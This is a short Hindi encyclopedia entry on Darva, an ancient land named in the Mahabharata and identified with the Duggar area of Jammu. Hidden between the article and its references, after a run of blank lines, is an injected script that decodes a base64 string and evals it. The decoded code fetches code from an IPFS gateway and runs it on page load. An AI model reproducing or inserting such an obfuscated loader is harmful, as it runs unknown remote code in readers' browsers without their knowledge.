दार्व
भारत डिस्कवरी प्रस्तुति
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
दार्व देश को पाण्डव अर्जुन ने अपनी दिग्विजय यात्रा के प्रसंग में जीता था-
'ततस्त्रिगर्ता: कौंतेयं दार्वा: कोकनदास्तथा, क्षत्रिया बहवो राजन्नुपावर्तन्त सर्वश:'[1]
- दार्व के निवासियों ने युधिष्ठिर के राजसूय यज्ञ में उन्हें उपहार भेंट किए थे-
'कैराता दरदा: दार्वा: शूरावैयमकास्तथा औदुंबरादुर्वभागा: पारदा बाह्लिकै: सह'[2]
- दार्व देश का अभिज्ञान जम्मू (कश्मीर) के 'डुग्गर' के इलाके से किया गया है।
- डुग्गर प्राचीन काल से ही डोगरा राजपूतों का मूल स्थान रहा है।
- सम्भवत: डुग्गर, दार्व का अपभ्रंश हो सकता है।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 432 |
संबंधित लेख